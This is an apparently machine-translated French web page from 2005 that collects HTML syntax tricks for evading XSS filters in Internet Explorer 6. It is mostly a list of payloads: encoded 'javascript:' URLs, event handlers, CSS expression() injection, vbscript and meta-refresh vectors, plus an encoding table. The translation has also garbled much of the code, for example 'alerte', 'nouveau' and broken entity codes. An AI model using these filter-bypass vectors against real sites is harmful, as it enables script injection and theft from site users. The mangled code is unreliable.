This page has been robot translated, sorry for typos if any. Original content here.

Caractéristiques de la syntaxe HTML

Créateurs: Algol , zFailure - dernières modifications 13.06.2005

L'une des principales méthodes de protection des sites contre les vulnérabilités XSS est l'utilisation de différents filtres pour les caractères saisis par l'utilisateur. Cet article décrit les fonctionnalités de la syntaxe HTML, qui vous permettent de contourner ces filtres.

Il convient de noter que les vulnérabilités XSS dépendent du navigateur. Tous les exemples ci-dessous ont été testés dans IE6. Dans d'autres versions ou dans d'autres navigateurs, les exemples peuvent également ne pas fonctionner. Par exemple, le caractère de l'apostrophe inverse (`) est un délimiteur d'attribut uniquement dans IE. D'autres navigateurs, comme Opera, par exemple, ne considèrent pas ce symbole comme trompeur.

  • Délimiteurs d'attributs de tags.
    En plus de l'espace, il est permis d'utiliser les symboles: barre oblique ( / ), tabulation, saut de ligne. Le délimiteur peut être omis si l'affiliation précédente est placée entre guillemets.
     <image / src = "1.png" / alt = "Indice" / border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
     <image
     src = "1.png"
     alt = "Indice"
     border = "0">
     <image src = "1.png" alt = "Astuce" border = "0">
    
  • Limiteurs d'attribut de balise
    Les valeurs peuvent être placées entre guillemets (double et simple) également dans les apostrophes, seule l'autorisation générale n'est pas restreinte.
     <image src = "" alt = "Mon conseil" border = "0">
     <image src = "" alt = 'Mon conseil' border = "0">
     <image src = "" alt = `Ma pointe` border =" 0 ">
     <image src = "" alt = Astuce border = "0">
    
  • Codages de caractères
    Le déchiffrement des symboles dans le script se produit avant qu'il ne soit exécuté:
      <img src = javascript: alerte (& quot; ok & quot;)>
     <img src = javascript: alerte (& # 039; ok & # 039;)>
     <Img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 99 & # 114 & # 105 & # 112 & # 116 & # 58 et # 97 & # 108 & # 101 & # 114 & # 116 & # 40 et # 39 & # 111 & # 107 & # 39 et # 41>
     <a href=javascript:alert(%22ok%22)> cliquez sur moi </a> (uniquement dans l'attribut href )
    
    
  • Limiteurs de littéraux de caractères dans les scripts
     <img src = javascript: alert ('ok')>
     <img src = javascript: alert ("ok")>
     <img src = javascript: a = / ok /; alerte (a.source)>
     <img src = javascript: alert (String.fromCharCode (111,107))>
    
  • Contourner le filtrage de certains caractères
      <img src = javascript: i = nouveau / ** / Image (); i.src = 'http: //bla.bla'> (en remplaçant l'espace par un / ** /)
    
    
  • Façons d'exécuter des scripts
    Plusieurs façons d'exécuter automatiquement les scripts:
      Alerte <script> (ok) </ script>
     <script src = 1.js> </ script>
     <body onLoad = alerte ('ok')>
     <meta http-equiv = Actualiser le contenu = 0; url = javascript: alert ('ok')>
     <image src = 1.png onload = alerte ('ok')>
     <image src = javascript: alert ('ok')>
     <image src = "" onerror = alert ('ok')>
     <hr style = background: url (javascript: alert ('ok')))>
     <span style = top: expression (alerte ('ok')))> </ span>
     <span sss = "alert (); this.sss = null" style = top: expression (eval (this.sss));> </ span> (ne fonctionne qu'une seule fois) <style type = "text / css"> @import url (javascript: alert ('ok')); </ style>
     <object classid = clsid: ae24fdae-03c6-11d1-8b76-0080c744f389> <nom de paramètre = valeur d'url = javascript: alert ('ok')> </ object>
     <embed src = javascript: alert ('ok'); this.avi>
     <embed src = javascript: alert ('ok'); this.wav>
     <iframe src = javascript: alert ('ok')> (uniquement dans IE) <a href=javascript:alert(%22ok%22)> cliquez-moi </a> (lancement uniquement en cliquant sur le lien) <a href = javascript: alert ('aaa' + eval ('alert (); i = 2 + 2') + 'bbb')> cliquez-moi </a> (lancement seulement en cliquant sur le lien) <br SIZE = "& {alert ('XSS')} "> (uniquement Netscape 4.x)
    
    
  • Divers protocoles de script, façons de les écrire
      <img src = javascript: alert ()>
     <img src = vbscript: AleRt ()>
     <img src = JaVasCriPt: alert ()>
     <img src = "javascript: alert ()"> (espaces jusqu'à javascript)
     
     <img src = & # 106 & # 97 & # 118 & # 97 & # 115 & # 115 & # 112 & # 116: alert ()>
     <img src = javascript & # 9: alerte ()>
     <img src = javascript & # 10: alerte ()>
     <img src = javascript & # 13: alerte ()>
     <img src = "javascript
     : alert () "> (avant le deux-points - le caractère de tabulation)
     
     <img src = "java
     scri
     pt: ale
     rt () "> (à l'intérieur du mot javascript - le caractère de tabulation renvoie aussi le chariot)
     
    
  • Insérer des scripts dans le style
    Les opérateurs de script de l'attribut style doivent diviser " \; ".
     <hr style = 'background: url (javascript: alert (' ok 1 ') \; alert (' ok 2 ')) `>
    
  • Tags spéciaux
      <image src = "1.png" alt = "" border = "0"> (l'img fonctionne également de la même manière) <texte en clair> (tout ce qui bouge après cette balise sera traité en texte brut - pas en HTML) <textarea> (tout ce qui bougera plus tard cette balise sera perçu comme du texte brut - pas du HTML en aucune façon) <xml> (tout ce qui bougera plus tard cette balise ne sera pas affiché)
    
    
  • Tableau des codes fréquemment utilisés:

    Symbole Encodage décimal 16ème encodage de caractères * Codage de caractères Encodage d'URL
    " & # 34 & # x22; & quot; % 22
    ' & # 39 & # x27; % 27
    " & # 96 & # x60; % 60
    <espace> & # 32 & # x20; +
    <onglet> & # 9 & # x09; % 09
    <retour chariot> & # 13 & # x0D; % 0D
    = & # 61 & # x3D; % 3D
    < & # 60 & # x3C; & lt; lt % 3C
    > & # 62 & # x3E; & gt % 3E
    \ & # 92 & # x5C; % 5C
    % & # 37 & # x25; % 25
    + & # 43 & # x2B; % 2B
    <court trait d'union> & # 173 & # xAD; et timide % AD
    & & # 38 & # x26; & amp % 26

    * -Dans certains cas, un point-virgule peut être omis (si le caractère est à la fin de la ligne, ou successivement il y a plusieurs caractères dans cet encodage).

    Voir semblable: http://ha.ckers.org/xss.html
  • Il ne sera pas superflu pour vos amis de connaître cette information, de partager leur article avec eux!

    Développer / Réduire Développer / Réduire la boîte avec des commentaires

    Commentaires

    En commentant, rappelez-vous que le contenu et le ton de votre message peuvent blesser les sentiments des personnes réelles, montrer du respect et de la tolérance à vos interlocuteurs même si vous ne partagez pas leur opinion, votre comportement dans les conditions de la liberté d'expression. non seulement virtuel, mais aussi le monde réel. Tous les commentaires sont cachés de l'index, le spam est contrôlé.
    Maintenant tout le monde peut publier des articles
    Essayez-le d'abord!
    Ecrire un article
    J'ai aimé ça? Abonnez-vous aux nouvelles RSS ,
    être le premier à recevoir des informations
    à propos de tous les événements importants du pays et du monde.
    Vous pouvez également soutenir shram.kiev.ua, cliquez sur: